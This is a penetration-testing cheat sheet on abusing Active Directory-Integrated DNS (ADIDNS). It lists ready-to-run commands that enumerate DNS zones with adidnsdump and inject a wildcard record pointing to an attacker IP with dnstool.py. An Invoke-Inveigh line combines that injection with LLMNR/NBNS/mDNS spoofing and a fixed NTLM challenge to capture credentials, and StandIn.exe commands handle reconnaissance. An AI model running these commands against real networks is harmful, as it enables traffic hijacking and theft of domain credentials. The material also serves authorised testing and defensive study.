PenTest – Active Directory – Integrated DNS – ADIDNS

ADIDNS zone DACL (Discretionary Access Control List) enables regular users to create child objects by default, attackers can leverage that and hijack traffic. Active Directory will need some time (~180 seconds) to sync LDAP changes via its DNS dynamic updates protocol.

• Enumerate all records using dirkjanm/adidnsdump

  adidnsdump -u DOMAIN\\user --print-zones dc.domain.corp (--dns-tcp)
  

• Query a node using dirkjanm/krbrelayx

  dnstool.py -u 'DOMAIN\user' -p 'password' --record '*' --action query $DomainController (--legacy)
  

• Add a node and attach a record

  dnstool.py -u 'DOMAIN\user' -p 'password' --record '*' --action add --data $AttackerIP $DomainController
  

The common way to abuse ADIDNS is to set a wildcard record and then passively listen to the network.

Invoke-Inveigh -ConsoleOutput Y -ADIDNS combo,ns,wildcard -ADIDNSThreshold 3 -LLMNR Y -NBNS Y -mDNS Y -Challenge 1122334455667788 -MachineAccounts Y

DNS Reconnaissance

Perform ADIDNS searches

StandIn.exe --dns --limit 20
StandIn.exe --dns --filter SQL --limit 10
StandIn.exe --dns --forest --domain <domain> --user <username> --pass <password>
StandIn.exe --dns --legacy --domain <domain> --user <username> --pass <password>

References

• Getting in the Zone: dumping Active Directory DNS using adidnsdump – Dirk-jan Mollema
• ADIDNS Revisited – WPAD, GQBL, and More – December 5, 2018 | Kevin Robertson
• Beyond LLMNR/NBNS Spoofing – Exploiting Active Directory-Integrated DNS – July 10, 2018 | Kevin Robertson